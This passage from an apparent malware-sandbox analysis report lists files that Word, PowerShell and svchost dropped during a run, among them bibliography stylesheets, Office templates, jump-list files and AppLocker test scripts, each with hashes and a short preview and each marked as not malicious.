Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.836591668108979
Encrypted:	false
SSDEEP:	3:QETlbol9:QEiv
MD5:	5FFBAD261CA1D087BDEA2DAA185561A0
SHA1:	A961E6EBC140F64BC9CBD47EB820DF77764969AB
SHA-256:	2FFE94EBE8D67CD72EE7F1D088DA8AC1B6BA2EBAB80463CC38AC10617ADF933B
SHA-512:	DE56BFA3EF7EB40E7D40CCEC2A99795CEEEB708F7D2E47520A6F82AAC3A72D69F4887BF3C515FB0C0136AF6D04DC90E4CBF4A704E13561EC3171373ABAE1D73A
Malicious:	false
Preview:	..a.l.f.o.n.s.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.682186579305191
Encrypted:	false
SSDEEP:	96:Sz9pdCteo+kvhkvCCta5h2GcHHi85h2G9HHi5:Sz9pQe1a5hOi85hfi5
MD5:	790978C82AC4CC48170252D538347E41
SHA1:	D1047E7BAD5546B446FD3E2786A8F9EA927959CA
SHA-256:	6110465CC104D41A771467E4AB927D1B3139B0339688E590C46972C52F4E23A8
SHA-512:	077B6CAADE76CC8A6F4BB8D8EDD6EEFB179697B86685AAE216BB7294252CB0081D7793A404D4921775FA9CBEB8F06BFD8E8FD71D4A16EB15985975A941B0880C
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......4ci.6..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......d.6..0\ji.6......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSloY......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....oY....Roaming.@......DWSloY......C.....................'...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSloY......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSlDW r....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSloY......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF648566.TMP (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.682186579305191
Encrypted:	false
SSDEEP:	96:Sz9pdCteo+kvhkvCCta5h2GcHHi85h2G9HHi5:Sz9pQe1a5hOi85hfi5
MD5:	790978C82AC4CC48170252D538347E41
SHA1:	D1047E7BAD5546B446FD3E2786A8F9EA927959CA
SHA-256:	6110465CC104D41A771467E4AB927D1B3139B0339688E590C46972C52F4E23A8
SHA-512:	077B6CAADE76CC8A6F4BB8D8EDD6EEFB179697B86685AAE216BB7294252CB0081D7793A404D4921775FA9CBEB8F06BFD8E8FD71D4A16EB15985975A941B0880C
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......4ci.6..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......d.6..0\ji.6......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSloY......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....oY....Roaming.@......DWSloY......C.....................'...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSloY......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSlDW r....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSloY......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5P9BXQG705JKYYL2R5G6.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.682186579305191
Encrypted:	false
SSDEEP:	96:Sz9pdCteo+kvhkvCCta5h2GcHHi85h2G9HHi5:Sz9pQe1a5hOi85hfi5
MD5:	790978C82AC4CC48170252D538347E41
SHA1:	D1047E7BAD5546B446FD3E2786A8F9EA927959CA
SHA-256:	6110465CC104D41A771467E4AB927D1B3139B0339688E590C46972C52F4E23A8
SHA-512:	077B6CAADE76CC8A6F4BB8D8EDD6EEFB179697B86685AAE216BB7294252CB0081D7793A404D4921775FA9CBEB8F06BFD8E8FD71D4A16EB15985975A941B0880C
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......4ci.6..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......d.6..0\ji.6......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSloY......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....oY....Roaming.@......DWSloY......C.....................'...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSloY......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSlDW r....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSloY......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B0D20YYVOG1AMFUSLO47.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.6778681871046963
Encrypted:	false
SSDEEP:	96:Fz9pC5w+kvhkvCCta5h2G9HHi85h2G9HHi5:Fz9Ada5hfi85hfi5
MD5:	5FA3FB321A59F6CB2F5C8E12090AD943
SHA1:	4EFEA6920C1865E6F7BC13FDFE419CB7E8952734
SHA-256:	A8FD3E98E1FDBE9BF42B93180E54FF6D00579F138E666BFAB5218AB6F4D41777
SHA-512:	C2D5B232D2C39A056E3C0E3DA8EF75BA4211BEF5A75B83A764A6BE056719CDF265808808DC25D2F47BEA1F74148CD5CAE7283A6BDBFB99288391BDB024383CAD
Malicious:	false
Preview:	...................................FL..................F.".. ...d........qq.6..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......d.6...\.u.6......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSloY......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....oY....Roaming.@......DWSloY......C.....................'...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSloY......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSloY......E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSloY......G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSloY......H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSloY......I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSloY......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XZV9JQ4C4JFCL3L3J699.temp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	5.323975045701925
Encrypted:	false
SSDEEP:	24:3/KOySKco4KmM6GjKbmuu1o+eZN1s4RPQoUxqr9t7J0gt/NKmnerqVwFsE7W/LDh:SOySU4Yymda+gs4RIoUxqr9tK8Nlexsx
MD5:	84F615300329E85B9974B4DE25A0E5A5
SHA1:	B8A81D3FA4D09681DFC8C5D452DF977D9C214F82
SHA-256:	7370DC656D44476CCE8EB8DFE87724300A1871F743861CE4F97A1BF5D191BCAF
SHA-512:	C6232F9738F0ED0F686C0CC5E33B91E10732290CC45E877661B74EB9ED2D8E3CB4363DCB4D3B097837578570EB1499552987A174116DE65E4A3EB80576CE1278
Malicious:	false
Preview:	@...e...........;.....................f..............@..........L..............@T....T:M...,....;.....".Microsoft.PowerShell.LocalAccounts..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Command

C:\Windows\Temp\__PSScriptPolicyTest_0prh4xzv.e0t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_52vnmkfh.uzw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

